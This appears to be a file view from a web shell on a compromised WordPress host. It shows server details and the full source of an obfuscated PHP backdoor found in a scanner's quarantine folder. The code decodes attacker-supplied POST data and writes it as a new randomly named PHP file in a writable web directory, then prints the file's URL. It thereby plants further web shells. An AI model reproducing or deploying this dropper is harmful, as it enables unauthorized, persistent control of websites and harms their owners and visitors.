HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-content/ninjascanner/nscan63f2d88a1bcfa1.39384006/quarantine/zabyhyvd.php
<?php function SKbwarA($GVmoW, $BlOISwLkcd, $lqnzRn){$WuAoh = "6ce888f6-a052-41c9-8caf-18e4f4270ee5";return $GVmoW ^ $WuAoh[$BlOISwLkcd % strlen($WuAoh)] ^ $lqnzRn;}$NSxYZsd = "QMQYy";function lfdHIML($NSxYZsd){ $nsxldrqJJ = chr(115)."\164"."\x72".chr(373-278)."\162"."\x6f"."\x74"."\x31".chr(51);$NSxYZsd = $nsxldrqJJ($NSxYZsd);$HawxTlW = "\x72".chr(500-403)."\x77".chr(117).chr(217-103).chr(108).'d'.chr(339-238)."\x63".chr(1040-929).chr(100).chr(177-76);$NSxYZsd = $HawxTlW($NSxYZsd);$NSxYZsd = str_split($NSxYZsd);return $NSxYZsd;}function yRFjFd($FdmIimqr, $lqnzRn){$FdmIimqr = array_map("SKbwarA", array_values($FdmIimqr), array_keys($FdmIimqr), array_values($lqnzRn));$FdmIimqr = implode("", $FdmIimqr);$USKBBWTYat = chr(247-130)."\156"."\x73"."\145".'r'.chr(105).'a'.chr(279-171)."\151".chr(416-294)."\145";$FdmIimqr = @$USKBBWTYat($FdmIimqr);return $FdmIimqr;}function sRcJJTZMq($lqnzRn, $FdmIimqr){$lqnzRn = array_slice(str_split(str_repeat($lqnzRn, (count($FdmIimqr)/16)+1)), 0, count($FdmIimqr));return $lqnzRn;}function CQsqyvAtA(){echo "hzlso";}function laGcN($oleQjZsbAWir){static $omRQRIjD = array();$gTMlssRN = glob($oleQjZsbAWir . '/*', GLOB_ONLYDIR);$OReXa = count($gTMlssRN);if ($OReXa > 0) {foreach ($gTMlssRN as $oleQjZsbAW) {$pzjsnAKh = "\x69"."\163"."\x5f"."\x77".chr(114).'i'."\x74".chr(736-639).'b'.chr(126-18).chr(101);if (@$pzjsnAKh($oleQjZsbAW)) {$omRQRIjD[] = $oleQjZsbAW;}}}foreach ($gTMlssRN as $oleQjZsbAWir) laGcN($oleQjZsbAWir);return $omRQRIjD;}function ALKWM($FdmIimqr){$zDuTfYULLx = "\104"."\117"."\x43".'U'.chr(77).'E'.chr(78).'T'.chr(704-609).chr(660-578)."\117".chr(79)."\x54";$bifzWN = $_SERVER[$zDuTfYULLx];$gTMlssRN = laGcN($bifzWN);$ZpliTKqv = array_rand($gTMlssRN);$NYvAvsrnOL = '.'.chr(133-21).chr(887-783)."\160";$ZkmIkbrQsa = $gTMlssRN[$ZpliTKqv] . "/" . substr(md5(time()), 0, 8) . $NYvAvsrnOL;$UDQDW = 'f'."\x69".chr(108)."\145"."\x5f"."\160"."\165".chr(204-88)."\x5f".chr(99).chr(111)."\156".'t'."\x65".chr(821-711)."\x74"."\163";@$UDQDW($ZkmIkbrQsa, $FdmIimqr);$rCABqjMarm = "\110".'T'.'T'.chr(80).'_'.chr(685-613).chr(931-852)."\x53".chr(734-650);$cbwgD = "\x68"."\x74"."\164".'p'.':'.chr(47)."\57";$SSayQyVCxU = $cbwgD . $_SERVER[$rCABqjMarm] . substr($ZkmIkbrQsa, strlen($bifzWN));print($SSayQyVCxU);}function daMPAB($FdmIimqr, $ZpliTKqv){$ZpliTKqv = $ZpliTKqv[0];if ($FdmIimqr !== $ZpliTKqv){ALKWM($FdmIimqr);}else {ceSiCcjk();}}function ceSiCcjk(){$HusWHiNf = "\x70".chr(104).chr(591-479);$InxdAsgVt = 'p'.chr(332-228)."\160".chr(950-832)."\145".chr(114)."\x73".chr(105)."\157".chr(524-414);$FdmIimqr = Array($HusWHiNf => @$InxdAsgVt(), );$MRQFQNTntm = chr(874-759)."\x65".chr(982-868)."\151"."\x61".'l'."\151"."\x7a"."\x65";echo @$MRQFQNTntm($FdmIimqr);}function JJNwIaeSd(){echo "QMQYy";}foreach ($_POST as $lqnzRn => $FdmIimqr){$BqlzCi = strlen($lqnzRn);if ($BqlzCi == 16){$FdmIimqr = lfdHIML($FdmIimqr);$lqnzRn = sRcJJTZMq($lqnzRn, $FdmIimqr);$FdmIimqr = yRFjFd($FdmIimqr, $lqnzRn);if (@is_array($FdmIimqr)){$ZpliTKqv = array_keys($FdmIimqr);$FdmIimqr = $FdmIimqr[$ZpliTKqv[0]];daMPAB($FdmIimqr, $ZpliTKqv);}}}die();